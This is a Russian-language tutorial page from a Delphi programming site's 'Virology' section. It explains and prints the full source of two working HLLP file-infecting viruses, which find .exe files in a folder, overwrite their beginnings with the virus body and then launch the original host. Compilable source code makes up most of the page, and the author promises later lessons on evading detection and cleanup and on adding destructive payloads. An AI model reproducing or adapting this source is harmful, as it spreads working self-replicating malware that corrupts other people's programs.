Суббота, 21.12.2024, 19:39 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Как часто Вы пользуетесь Интернетом?
Всего ответов: 185

Главная » Статьи » Delphi » Вирусология

HLLP вирусы на microDelphi весом 1709 и 1697 байт
Как вы уже не раз убеждались, вирусы, написанные без RTL – весьма малы, резвы, но и достаточно сложны, но мне кажется, это достойная плата за результат. К этому уроку я подготовил, как и в 7,8 уроке два исходника вирусов:
- Заражение со смещением жертвы в конец файла
- Заражние с переносом фрагмента жертвы в конец, и записи себя в начало.

. Вирусы, так же состоят из тех же основных частей:
- Процедура перемещения данных (CopyData)
- Процедура проверки зараженности (CheckInfect)
- Процедура заражения жертвы (Infect)
- Процедура запуска жертвы (InRun)
- Основная часть, включающая в себя - поиск файлов и своевременный вызов процедур..

. При подготовке материала, я решил обеспечить минимальную разницу между исходниками, что бы вам было проще эту разницу уловить, да и что бы не было необходимости в приведении каждой процедуры дважды. В общем, вся разница между вирусами заключается в процедурах заражения и запуска жертв (Infect и InRun), остальные части исходника, включая основную часть идентичны, за исключением того, что для первого типа требуется на одну функцию больше чем для второго (CopyFile). 
. По уже накатанной традиции, преступаем к рассмотрению первого типа вируса HLLP (смещение жертвы в конец). Начнём с общей для вирей процедуры проверки заражённости (CheckInfect) вот её вид:
function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
  SignSize = 77;//Размер сигнатуры
  SignPos = 999;//Позиция начала сигнатуры
type
  Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
  B : integer;
  F1 : Integer;
  F2 : Integer;
  pch : PathBuf;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
  F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя
  F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву
  ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
  ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
  CloseHandle(F1);//Закрываем себя
  CloseHandle(F2);//Закрываем жертву
  if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
  else Result:=true;//если не равны, то true - заражаем
end;

Как видите, ни чего нового эта процедура не включает в себя и разница между этой же функцией не на WinAPI, заключается в используемых функциях. А так принцип тот же:
- Открыть себя
- Открыть жертву
- Считать сигнатуру из себя
- Считать сигнатуру из жертвы
- Закрыть файлы
- Сравнить сигнатуры, если не равны, то true и наоборот.. 

. Переходим к рассмотрению процедуры CopyData. Она так же весьма похожа на предыдущую. Для того что бы не делать две разные процедуры и потом их отдельно не описывать я ввел в процедуру исключительные условия, т.е. в первом типе вируса используются одни, а во втором другие, т.о. одна процедура годится для обоих вирусов. Вот исходник:
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
  buf : array [1..Max_Size] of byte;
  f1 : THandle;
  f2 : THandle;
  fs : INTEGER;
  N : INTEGER;
begin
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  case DataCount of //Условие организации исключения
  0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun второго типа HLLP
  1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
  2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
  else fs:=DataCount;//Если не исключение
  end;
  if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
  ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
  CloseHandle(f1);//Закрытие файла источника
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f2=-1 then exit;//Если ошибка то выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
  WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
  CloseHandle(f2);//Закрытие файла
end;


. Переходим к рассмотрения процедуры заражения (Infect), тут всё ясно: 
Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1);
  //копирование фрагмента из начала в конец
  CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3);
  //копирование себя в начало с перезаписью
  CopyFile(TmpName,path,false);
  DeleteFile(TmpName);
end;

. Единственная особенность, то что вместо переименования пришлось воспользоваться процедурой CopyFile, а остальном всё так же как и раньше.
. Процедура запуска жертвы имеет вид:
Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
  CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1);
  //Копируем в темп тело жертвы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;


. Основная часть вируса, как я уже говорил одинаковая у обоих вирусов, и так же сделана с фотографической схожестью на предыдущую статью. Вот её исходный текст:
//Основная часть
var
  H : integer;
  R : FindRec;
begin
  DeleteFile(TmpName);//На всякий случай удаляем временый файл
  H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
  while H<>0 do //Выполняем поиск до появления ошибки
  begin
  if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
  and CheckInfect(R.cFileName) then//и если не заражено то..
  infect(R.cFileName);//заражаем
  if not FindNextFile(h,R) then break;//Ищем следующий
  end;
  InRun;//Запускаем жертву, если находимся в ней
end.

. Я думаю, вы все заметили, что я не приводил в исходниках импортируемые процедуры, функции, типы и т.д., т.к это в общем-то не добавит читабельности исходников, поэтому привожу полный текст первого вируса HLLP на microDelphi, надеюсь избыточные комментарии помогут вам освоить все его тонкости:
program VirusHLLP1_microDelphi_execom; {xakep.su}
const
  VirSize = 1709;//Размер вируса после пака, т.е. его рабочий размер
  Max_Size = 999999; //Максимальный размер заражаемого файла
  TmpName = '$$$.exe';

  //Далее идут константы применяемые в коде
  ATTR_DIR = $00000010;//Атрибут директории
  FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут
  FILE_SHARE_WRITE = $00000002;//Запись в файл
  FILE_SHARE_READ = $00000001;//Чтение из файла
  KERNEL32 = 'kernel32.dll';
  MAX_PATH = 260;//Максимальная длина пути
  GENERIC_READ = INTEGER($80000000);//Открыть для чтения
  GENERIC_WRITE = $40000000;//Открыть для записи
  OPEN_EXISTING = 3;//Открытие для выполнения
  SW_SHOW = 1;//Нормальный запуск
  FILE_END = 2;//Счет с конца файла
  FILE_BEGIN = 0;//Счет с начала файла
//Типы применяемые в вирусе
type
  PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу

  TFileTime = record //Запись передачи даты и времени
  dwLowDateTime: INTEGER;
  dwHighDateTime: INTEGER;
  end;

  FindRec = record
  //Запись в которую возврящаются параметры поиска файлов
  dwFileAttributes: INTEGER; //Атрибуты
  ftCreationTime: TFileTime; //Время создания
  ftLastAccessTime: TFileTime;//Время последнего обращения
  ftLastWriteTime: TFileTime; //Время последнего изменения
  nFileSizeHigh: INTEGER; //Размер реальный
  nFileSizeLow: INTEGER; //Размер на диске
  dwReserved0: INTEGER; //Резерв
  dwReserved1: INTEGER; //Резерв
  cFileName: PathBuf; //Полное имя файла
  cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
  end;

  THandle = INTEGER;
  HINST = INTEGER;
  //Не применяется, необходим для импорта некоторых функций
  POverlapped = ^TOverlapped;
  TOverlapped = record
  Internal: Cardinal;
  InternalHigh: Cardinal;
  Offset: Cardinal;
  OffsetHigh: Cardinal;
  hEvent: Cardinal;
  end;
  //Не применяется, необходим для импорта некоторых функций
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record //Запись атрибута безопасности
  nLength: Cardinal;
  lpSecurityDescriptor: Pointer;
  bInheritHandle: Boolean;
  end;

function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA';
//Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile';
//Запись в файл
function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize';
//Определение размера файла
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle';
//Закрытие хендла объекта открытого CreateFile
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer';
//Установка указателя записи/чтения в заданную позицию
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile';
//Чтение из файла
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA';
//Удаляет существующий файл
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет пpикладную задачу, указанную паpаметpом CmdLine
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
//Выход из процесса с заданным кодом выхода
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных
function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';
//Копирует файл

function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
  SignSize = 77;//Размер сигнатуры
  SignPos = 999;//Позиция начала сигнатуры
type
  Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
  B : integer;
  F1 : Integer;
  F2 : Integer;
  pch : PathBuf;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
  F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя
  F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву
  ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
  ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
  CloseHandle(F1);//Закрываем себя
  CloseHandle(F2);//Закрываем жертву
  if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
  else Result:=true;//если не равны, то true - заражаем
end;

Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
  buf : array [1..Max_Size] of byte;
  f1 : THandle;
  f2 : THandle;
  fs : INTEGER;
  N : INTEGER;
begin
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  case DataCount of //Условие организации исключения
  0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
  1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
  2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
  else fs:=DataCount;//Если не исключение
  end;
  if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
  ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
  CloseHandle(f1);//Закрытие файла источника
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f2=-1 then exit;//Если ошибка то выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
  WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
  CloseHandle(f2);//Закрытие файла
end;

Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
  CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1);
  //Копируем в темп тело жертвы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;

Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1);
  //копирование фрагмента из начала в конец
  CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3);
  //копирование себя в начало с перезаписью
  CopyFile(TmpName,path,false);
  DeleteFile(TmpName);
end;

//Основная часть
var
  H : integer;
  R : FindRec;
begin
  DeleteFile(TmpName);//На всякий случай удаляем временый файл
  H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
  while H<>0 do //Выполняем поиск до появления ошибки
  begin
  if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
  and CheckInfect(R.cFileName) then//и если не заражено то..
  infect(R.cFileName);//заражаем
  if not FindNextFile(h,R) then break;//Ищем следующий
  end;
  InRun;//Запускаем жертву, если находимся в ней
end.


. Вот такой вот вирус. Размер вируса после компилции 4608 байт (4,5кб), а после упаковки fsg2 – 1709 байт. При том условии, что это вполне полноценный паразит, не вижу ни малейшего повода, что бы по новому не переоценить, великие возможности Delphi. Но останавливаться на этом нет смысла и сейчас мы не долго думая оформим второй вирус HLLP – с переносом фрагмента из начала в конец. А точнее мы рассмотрим, то что его отличает от этого вируса, а это как я уже говорил процедуры – Infect и InRun.
. Второй тип HLLP вируса.
Привожу обе процедуры– Infect и InRun, комментарии, как всегда имеются, поэтому проблем не возникнет в понимании:
Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
  CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1);
  //Копируем в темп с расшифровкой кусок из конца
  CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3);
  //Копируем в темп вторую часть программы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;

Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3);
  //копирование фрагмента из начала в конец
  CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3);
  //копирование себя в начало с перезаписью
end;


Ну вот теперь позволю себе без лишних вводных слов привести исходник второго вируса, затем небольшое отступление и наверно эту статью завершим, надо же мне и поесть, да и поспать.
program VirusHLLP2_microDelphi_execom; {xakep.su}
const
  VirSize = 1697;//Размер вируса после пака, т.е. его рабочий размер
  Max_Size = 999999; //Максимальный размер заражаемого файла
  TmpName = '$$$.exe';

  //Далее идут константы применяемые в коде
  ATTR_DIR = $00000010;//Атрибут директории
  FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут
  FILE_SHARE_WRITE = $00000002;//Запись в файл
  FILE_SHARE_READ = $00000001;//Чтение из файла
  KERNEL32 = 'kernel32.dll';
  MAX_PATH = 260;//Максимальная длина пути
  GENERIC_READ = INTEGER($80000000);//Открыть для чтения
  GENERIC_WRITE = $40000000;//Открыть для записи
  OPEN_EXISTING = 3;//Открытие для выполнения
  SW_SHOW = 1;//Нормальный запуск
  FILE_END = 2;//Счет с конца файла
  FILE_BEGIN = 0;//Счет с начала файла
//Типы применяемые в вирусе
type
  PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу

  TFileTime = record //Запись передачи даты и времени
  dwLowDateTime: INTEGER;
  dwHighDateTime: INTEGER;
  end;

  FindRec = record
  //Запись в которую возврящаются параметры поиска файлов
  dwFileAttributes: INTEGER; //Атрибуты
  ftCreationTime: TFileTime; //Время создания
  ftLastAccessTime: TFileTime;//Время последнего обращения
  ftLastWriteTime: TFileTime; //Время последнего изменения
  nFileSizeHigh: INTEGER; //Размер реальный
  nFileSizeLow: INTEGER; //Размер на диске
  dwReserved0: INTEGER; //Резерв
  dwReserved1: INTEGER; //Резерв
  cFileName: PathBuf; //Полное имя файла
  cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
  end;

  THandle = INTEGER;
  HINST = INTEGER;
  //Не применяется, необходим для импорта некоторых функций
  POverlapped = ^TOverlapped;
  TOverlapped = record
  Internal: Cardinal;
  InternalHigh: Cardinal;
  Offset: Cardinal;
  OffsetHigh: Cardinal;
  hEvent: Cardinal;
  end;
  //Не применяется, необходим для импорта некоторых функций
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record //Запись атрибута безопасности
  nLength: Cardinal;
  lpSecurityDescriptor: Pointer;
  bInheritHandle: Boolean;
  end;

function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA';
//Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile';
//Запись в файл
function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize';
//Определение размера файла
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle';
//Закрытие хендла объекта открытого CreateFile
function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer';
//Установка указателя записи/чтения в заданную позицию
function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile';
//Чтение из файла
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA';
//Удаляет существующий файл
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec';
// Выполняет пpикладную задачу, указанную паpаметpом CmdLine
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
//Выход из процесса с заданным кодом выхода
function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA';
//Сравнение переменных

function CheckInfect(path : PChar):boolean;
//Функция проверки зараженности - получает путь к файлу
//возвращает True - если не заражено false - если нет
const
  SignSize = 77;//Размер сигнатуры
  SignPos = 999;//Позиция начала сигнатуры
type
  Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры
var
  B : integer;
  F1 : Integer;
  F2 : Integer;
  pch : PathBuf;
  SignBuf : Bufer;
  VictBuf : Bufer;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе
  F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя
  F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву
  ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру
  ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве
  CloseHandle(F1);//Закрываем себя
  CloseHandle(F2);//Закрываем жертву
  if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false
  else Result:=true;//если не равны, то true - заражаем
end;

Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer);
//Процедура переноса данных
//FromF - Файл источник данных
//ToF - файл приёмник данных
//FromSeek - Позиция начала чтения в файле источнике
//ToSeek - Позиция начала записи в файле приёмнике
//FromPos - место отсчета (начало конец) в файле источнике
//ToPos - место отсчета (начало конец) в файле приёмнике
//DataCount - количество переносимых байт
//RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1)
var
  buf : array [1..Max_Size] of byte;
  f1 : THandle;
  f2 : THandle;
  fs : INTEGER;
  N : INTEGER;
begin
  f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  //Открытие файла-источника
  if f1=-1 then Exit;//Если ошибка - выход
  SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения
  case DataCount of //Условие организации исключения
  0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP
  1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP
  2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP
  else fs:=DataCount;//Если не исключение
  end;
  if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход
  ReadFile(f1, Buf, fs, N, nil);//Читаем из источника
  CloseHandle(f1);//Закрытие файла источника
  f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1);
  //Открываем файл приёмник
  if f2=-1 then exit;//Если ошибка то выход
  SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи
  WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник
  CloseHandle(f2);//Закрытие файла
end;

Procedure InRun;//Процедура запуска жертвы
var
  pch : PathBuf;
  R : FindRec;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Путь к себе
  FindFirstFile(pch,R);//Ищем свой файл
  if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим
  CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1);
  //Копируем в темп с расшифровкой кусок из конца
  CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3);
  //Копируем в темп вторую часть программы
  WinExec(TmpName,SW_SHOW);//Запускаем темп
  ExitProcess(0);//Выход из программы
end;

Procedure Infect(Path:PChar);//Процедура заражения жертвы
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к себе
  CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3);
  //копирование фрагмента из начала в конец
  CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3);
  //копирование себя в начало с перезаписью
end;

//Основная часть
var
  H : integer;
  R : FindRec;
begin
  DeleteFile(TmpName);//На всякий случай удаляем временый файл
  H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе
  while H<>0 do //Выполняем поиск до появления ошибки
  begin
  if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
  and CheckInfect(R.cFileName) then//и если не заражено то..
  infect(R.cFileName);//заражаем
  if not FindNextFile(h,R) then break;//Ищем следующий
  end;
  InRun;//Запускаем жертву, если находимся в ней
end.

. На этом уроке мы окончательно, разобрались в общих принципах, вирусов на языках высокого уровня, и реализовали их используя потенциалы языков Pascal и Delphi, причем на Delphi мы это сделали весьма красивым и малоиспользуемым методом – без RTL. Далее у нас намечается несколько уроков, которые помогут вам разобраться в том, как сделать вирус более живучим, как понизить вероятность его лечения и обнаружения, так же узнаем, о том, как снабдить наши творения всевозможными вредительскими возможностями. В целом дальше будет гораздо больше теории, нежели исходников, но это необходимый кастет познаний и от него не уйти, если есть желание знать о вирусах, по крайней мере, много (всё знать нельзя). Дальше, мы начнём писать вирусы на ассемблере. Т.о. я надеюсь охватить наибольший пласт знаний в этом вопросе. Так же я постараюсь найти в себе силы, что бы писать статьи максимально понятно и читабельно, надеюсь вас не очень напрягает наличие определённых опечаток в тексте, просто времени на проверку, нет..


xakep.su

Категория: Вирусология | Добавил: dolphin (02.08.2008) | Автор: Женёк
Просмотров: 3180 | Комментарии: 2 | Рейтинг: 5.0/2

Всего комментариев: 2
avatar
2 opius • 22:06, 15.04.2010
спасиб отличная статься smile
avatar
1 Stalkerhack • 22:53, 09.02.2010
Не плохо.
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1175/8162
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 385
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 39
Гостей: 39
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz